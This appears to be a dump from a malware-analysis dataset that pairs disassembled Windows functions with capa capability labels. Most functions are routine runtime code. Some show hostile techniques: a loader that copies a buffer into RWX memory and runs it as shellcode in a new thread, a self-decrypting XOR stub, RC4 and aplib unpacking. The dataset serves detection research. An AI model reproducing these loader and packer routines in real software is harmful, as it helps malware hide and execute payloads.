joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41c6ac
Capabilities:
Get session user name

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
movzx eax, byte [ebp + 8]
test eax, eax
je 0x41c85c
lea eax, [ebp + 0xc]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
movzx eax, byte [eax]
test eax, eax
je 0x41c6dd
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
jmp 0x41c85a
mov dword [ebp - 8], 0x31713b91
mov dword [ebp - 8], 0x10
jmp 0x41c6f4
mov eax, dword [ebp - 8]
dec eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0xffffffea
jg 0x41c85a
mov dword [ebp - 0x3c], 0x38b6b0e1
mov dword [ebp - 0xc], 0x7359b504
mov byte [ebp - 1], 0
push 0x3fae
push 0x7804
push 0x1079
push 0x61b4
push 0
push 1
push 0xaf
push 0x39e2
lea eax, [ebp - 1]
push eax
push 0x3c0f
push 0x4a64
push 0x5f6d
call fcn.0041ad61
add esp, 0x30
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x41c762
mov dword [ebp - 0x10], 1
jmp 0x41c766
and dword [ebp - 0x10], 0
cmp dword [ebp - 0x10], 0xffffffff
jne 0x41c775
mov dword [ebp - 0x14], 1
jmp 0x41c779
and dword [ebp - 0x14], 0
mov eax, dword [ebp - 8]
cmp eax, dword [ebp - 0x14]
je 0x41c78a
mov dword [ebp - 0x44], 1
jmp 0x41c78e
and dword [ebp - 0x44], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0xc], eax
jle 0x41c79f
mov dword [ebp - 0x18], 1
jmp 0x41c7a3
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x18], eax
jl 0x41c7b4
mov dword [ebp - 0x1c], 1
jmp 0x41c7b8
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x1c], eax
jle 0x41c7c9
mov dword [ebp - 0x20], 1
jmp 0x41c7cd
and dword [ebp - 0x20], 0
cmp dword [ebp - 0x20], 1
jl 0x41c7dc
mov dword [ebp - 0x24], 1
jmp 0x41c7e0
and dword [ebp - 0x24], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x24], eax
jle 0x41c7f7
cmp dword [ebp - 8], 0
je 0x41c7f7
mov dword [ebp - 0x28], 1
jmp 0x41c7fb
and dword [ebp - 0x28], 0
cmp dword [ebp - 0x28], 0x8594
jg 0x41c80d
mov dword [ebp - 0x2c], 1
jmp 0x41c811
and dword [ebp - 0x2c], 0
cmp dword [ebp - 0x2c], 0xfffffffb
jne 0x41c820
mov dword [ebp - 0x30], 1
jmp 0x41c824
and dword [ebp - 0x30], 0
cmp dword [ebp - 0x30], 0x7d2a7e9f
jne 0x41c836
mov dword [ebp - 0x34], 1
jmp 0x41c83a
and dword [ebp - 0x34], 0
mov eax, dword [ebp - 8]
cmp dword [ebp - 0x34], eax
jle 0x41c84b
mov dword [ebp - 0x38], 1
jmp 0x41c84f
and dword [ebp - 0x38], 0
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
jmp 0x41c6ed
jmp 0x41c8af
lea eax, [ebp + 0x10]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
movzx eax, byte [eax]
test eax, eax
je 0x41c8a0
push 0x24f3
push 0x1f1a
push 0x6c
push 0x106e
push 0x1fce
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawStateW]
jmp 0x41c8af
push 0
push 0x2263
push 0
call dword [sym.imp.GDI32.dll_GetMetaFileBitsEx]
mov esp, ebp
pop ebp
ret
Function at 0x420393
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push esi
mov esi, 0x811c9dc5
xor edx, edx
movzx eax, byte [edx + ecx]
xor eax, esi
imul esi, eax, 0x1000193
inc edx
cmp edx, 4
jb 0x42039b
mov eax, esi
pop esi
ret
Function at 0x4547b1
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x4547e7
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
push 0x198e
push 0x3ad6
push dword [ebp - 4]
push dword [ebp - 8]
push 0
call fcn.0045611a
add esp, 0x14
jmp 0x45482a
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x45481d
push 0x1d75
push 0
push 0
push 0
push 0
push 0xd1a
push 0x1b4f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
jmp 0x45482a
push 0
push 0x1f91
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov esp, ebp
pop ebp
ret
Function at 0x45cf00
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x45cf31
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
push 0x131
push dword [ebp - 8]
push 1
push dword [ebp - 0xc]
call fcn.0045cf71
add esp, 0x10
jmp 0x45cf6d
lea eax, [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x45cf59
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x45cf57
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
jmp 0x45cf6d
mov byte [ebp - 2], 0
movzx eax, byte [ebp - 2]
test eax, eax
je 0x45cf6d
push 0x71
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov esp, ebp
pop ebp
ret
Function at 0x475b2f
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x47babc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00472473
mov dword [ebp - 0x14], eax
cmp dword [0xa6e1fc], esi
jne 0x475c22
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x475baf
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x475d02
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x475d02
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x475d02
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0xa6e1fc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0xa6e200], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0xa6e204], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0xa6e20c], eax
test eax, eax
je 0x475c1f
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0xa6e208], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x475c47
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x475c3a
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x475c5c
push 4
pop eax
jmp 0x475d04
cmp dword [ebp - 0x14], esi
je 0x475c5c
push dword [0xa6e1fc]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x475c41
mov eax, dword [0xa6e208]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x475cba
cmp dword [0xa6e20c], edi
je 0x475cba
push eax
call ebx
push dword [0xa6e20c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x475cba
test eax, eax
je 0x475cba
call ecx
test eax, eax
je 0x475caf
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x475caf
test byte [ebp - 8], 1
jne 0x475cba
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x475cea
mov eax, dword [0xa6e200]
cmp eax, edi
je 0x475ce7
push eax
call ebx
test eax, eax
je 0x475ce7
call eax
mov esi, eax
test esi, esi
je 0x475ce7
mov eax, dword [0xa6e204]
cmp eax, edi
je 0x475ce7
push eax
call ebx
test eax, eax
je 0x475ce7
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0xa6e1fc]
call ebx
test eax, eax
je 0x475d02
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x475d04
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046ee7b
mov esp, ebp
pop ebp
ret
Function at 0x4107d3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00410644

Function at 0x410bcd
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00405210
mov eax, dword [0x46ad00]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0040f839
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x410c0f
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x410d6b
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0041ac50
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x46c630]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.00411bc4
mov ecx, dword [esi*4 + 0x46c630]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x410d64
cmp eax, dword [edi + ecx + 0x24]
jne 0x410d64
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x410d64
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00411bc4
add esp, 0x14
test edx, edx
jl 0x410d64
jg 0x410cda
test eax, eax
jb 0x410d64
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x410d64
jl 0x410cf4
cmp dword [ebp - 0x1008], eax
ja 0x410d64
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x410d12
test ebx, ebx
je 0x410d4b
cmp ecx, edi
jae 0x410d4b
mov al, byte [ecx]
cmp al, 0xd
jne 0x410d2c
lea eax, [edi - 1]
cmp ecx, eax
jae 0x410d38
cmp byte [ecx + 1], 0xa
jne 0x410d38
inc ecx
jmp 0x410d38
movzx eax, al
movsx eax, byte [eax + 0x46afb8]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x410d12
cmp edx, ebx
jne 0x410d12
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x410d69
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00404713
leave
ret
Function at 0x411062
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x46c630]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4110a2
cmp byte [ebx], 0xa
jne 0x4110a2
or byte [eax + edi + 0x28], 4
jmp 0x4110a7
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x4111a5
mov al, byte [edx]
cmp al, 0x1a
je 0x411187
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x4110d6
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x4110fb
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x411105
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x4110b8
jmp 0x4111a5
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411182
cmp dword [ebp - 0xc], 0
je 0x411182
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x46c630]
test byte [eax + edi + 0x28], 0x48
je 0x41115c
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x411147
mov byte [esi], dl
jmp 0x411158
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x46c630]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x4111a5
cmp byte [ebp - 1], 0xa
jne 0x41116b
cmp esi, ebx
jne 0x41116b
mov byte [esi], 0xa
jmp 0x4111a4
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.00411be2
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x4111a5
mov byte [esi], 0xd
jmp 0x4111a4
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x46c630]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x4111a1
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x4111a5
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x4111ae
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x46c630]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x4111f1
cmp word [esi], dx
jne 0x4111f1
or byte [edi + eax + 0x28], 4
jmp 0x4111f6
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x411349
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x411329
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x411238
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41126e
cmp eax, edx
jae 0x41127a
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x411210
jmp 0x411349
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x411325
cmp dword [ebp - 0x14], 0
je 0x411325
mov eax, dword [ebx*4 + 0x46c630]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x4112fd
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x4112c6
mov word [esi], cx
jmp 0x4112f9
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x46c630]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x46c630]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x46c630]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x411349
pop ebx
cmp word [ebp - 4], bx
jne 0x41130e
cmp esi, dword [ebp + 0xc]
jne 0x41130e
mov word [esi], bx
jmp 0x411346
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.00411be2
add esp, 0x10
cmp word [ebp - 4], bx
je 0x411349
push 0xd
jmp 0x411342
mov ecx, dword [ebx*4 + 0x46c630]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x411340
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x411349
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41c000
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x210
mov eax, dword [0x46ad00]
xor eax, esp
mov dword [esp + 0x20c], eax
mov eax, dword [esp + 0x214]
push ebx
push ebp
push esi
mov dword [esp + 0x14], eax
lea eax, [esp + 0xc]
push edi
xor edi, edi
push eax
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], edi
call fcn.004012c7
mov esi, dword [esp + 0x230]
mov ebp, 0x100
pop ecx
mov dword [esp + 0x10], eax
mov ecx, edi
mov eax, ecx
mov byte [esp + ecx + 0x1c], cl
cdq
idiv dword [esp + 0x230]
mov al, byte [edx + esi]
mov byte [esp + ecx + 0x11c], al
inc ecx
cmp ecx, ebp
jl 0x41c04a
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x1c]
movzx eax, byte [esp + esi + 0x11c]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x41c08e
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x1c]
mov byte [esp + esi + 0x1c], al
inc esi
mov byte [esp + ebx + 0x1c], dl
cmp esi, ebp
jl 0x41c06b
mov ebx, edi
mov ebp, edi
cmp dword [esp + 0x228], ebx
jle 0x41c112
inc edi
and edi, 0x800000ff
jns 0x41c0bd
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x1c]
movzx esi, cl
add ebx, esi
and ebx, 0x800000ff
jns 0x41c0d6
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x1c]
push str.Always_matter
mov byte [esp + edi + 0x20], al
push 0x46bb98
mov byte [esp + ebx + 0x24], cl
call fcn.004010d0
movzx eax, byte [esp + edi + 0x24]
add eax, esi
pop ecx
pop ecx
mov ecx, dword [esp + 0x18]
movzx eax, al
mov al, byte [esp + eax + 0x1c]
xor byte [ecx + ebp], al
inc ebp
cmp ebp, dword [esp + 0x228]
jl 0x41c0ac
lea eax, [esp + 0x10]
push eax
mov ecx, eax
call fcn.004014c8
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00404713
add esp, 0x210
ret

Function at 0x41c1f7
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebx
push ebp
push esi
push edi
push 0x40
push 0x1000
mov ebx, 0x4ac
xor ebp, ebp
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push ebx
mov edi, 0x46a820
mov esi, eax
push edi
call fcn.0041c151
push ebx
push edi
push esi
call fcn.00405240
add esp, 0x14
call fcn.0041c137
push ebp
push ebp
push 0x427020
lea eax, [esi + 0x188]
push eax
push ebp
push ebp
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebp
mov esi, eax
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x320b058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.0320b1a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x320b07e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x320b06a
add dl, dl
jne 0x320b089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x320b0dc
xor eax, eax
add dl, dl
jne 0x320b096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x320b17d
add dl, dl
jne 0x320b0a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x320b0b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x320b0bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x320b0c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x320b0d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x320b075
mov eax, 1
add dl, dl
jne 0x320b0ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x320b0f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x320b0e1
sub eax, ebx
mov ebx, 1
jne 0x320b128
mov ecx, 1
add dl, dl
jne 0x320b10e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x320b119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x320b105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x320b075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x320b13f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x320b14a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x320b136
cmp eax, 0x7d00
jae 0x320b16d
cmp eax, 0x500
jb 0x320b168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x320b075
cmp eax, 0x7f
ja 0x320b170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x320b075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x320b19e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x320b075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x4034f0
Capabilities:
Terminate process

Disassembly:
push ecx
push ebx
push esi
push edi
mov ebx, 0x40aaf4
cmp dword [ebp + 0xc], 2
jl 0x403504
mov ebx, 0x40ab24
mov esi, ebx
lea edi, [ebp - 0x40]
mov ecx, 0xc
rep movsd dword es:[edi], dword [esi]
pop dword [ebx + 0x20]
pop dword [ebx + 0x1c]
pop dword [ebx + 0x18]
mov dword [ebx + 0x14], ebp
mov dword [ebx + 8], eax
mov dword [ebx + 0x10], edx
lea ecx, [ebp - 0x40]
mov dword [ebx], ecx
call sub.kernel32.dll_GetCurrentThreadId
mov dword [ebx + 0x2c], eax
mov eax, dword [ebx + 8]
xor ecx, ecx
cmp dword [ebp + 0xc], 0
jne 0x40353c
mov ecx, dword [eax]
mov dword [ebx + 0xc], ecx
mov eax, 0x401038
mov dword [0x408010], eax
mov eax, 0x401040
mov dword [0x408014], eax
mov eax, ebx
call fcn.004033d4
mov eax, dword [ebp + 0xc]
inc eax
mov byte [ebx + 0x28], al
dec eax
pop ecx
mov edx, dword [ecx]
mov dword [ebx + 0x24], edx
je 0x403571
cmp al, 3
jge 0x403571
call dword [ecx + eax*4]
push ecx
mov ecx, dword [esp + 8]
test ecx, ecx
je 0x403582
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
call ecx
pop ecx
mov eax, dword [ebp + 0xc]
cmp al, 3
jl 0x40358d
call dword [ecx + eax*4]
cmp dword [0x408020], 0
jne 0x4035a3
mov byte [0x408028], 1
fnstcw word [0x40700a]
mov eax, dword [ebp + 0xc]
dec eax
jne fcn.004036d8
call fcn.00403484
ret 4

Function at 0x403640
Capabilities:
Write file on windows

Disassembly:
push ecx
cmp byte [0x408038], 0
je 0x4036a7
cmp word [0x408324], 0xd7b2
jne 0x403669
cmp dword [0x40832c], 0
jbe 0x403669
mov eax, 0x408320
call dword [0x40833c]
push 0
lea eax, [esp + 4]
push eax
push 0x1d
push str.Runtime_error_____at_00000000
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
push 0
lea eax, [esp + 4]
push eax
push 2
mov eax, 0x4036d4
call fcn.00403880
push eax
push 0xfffffffffffffff5
call sub.kernel32.dll_GetStdHandle
push eax
call sub.kernel32.dll_WriteFile
pop edx
ret
cmp byte [0x407012], 0
jne 0x4036c3
push 0
push str.Error
push str.Runtime_error_____at_00000000
push 0
call sub.user32.dll_MessageBoxA
pop edx
ret

Function at 0x403a78
Capabilities:
Get system information on windows

Disassembly:
add esp, 0xffffffdc
push esp
call sub.kernel32.dll_GetSystemInfo
mov eax, dword [esp + 0x14]
add esp, 0x24
ret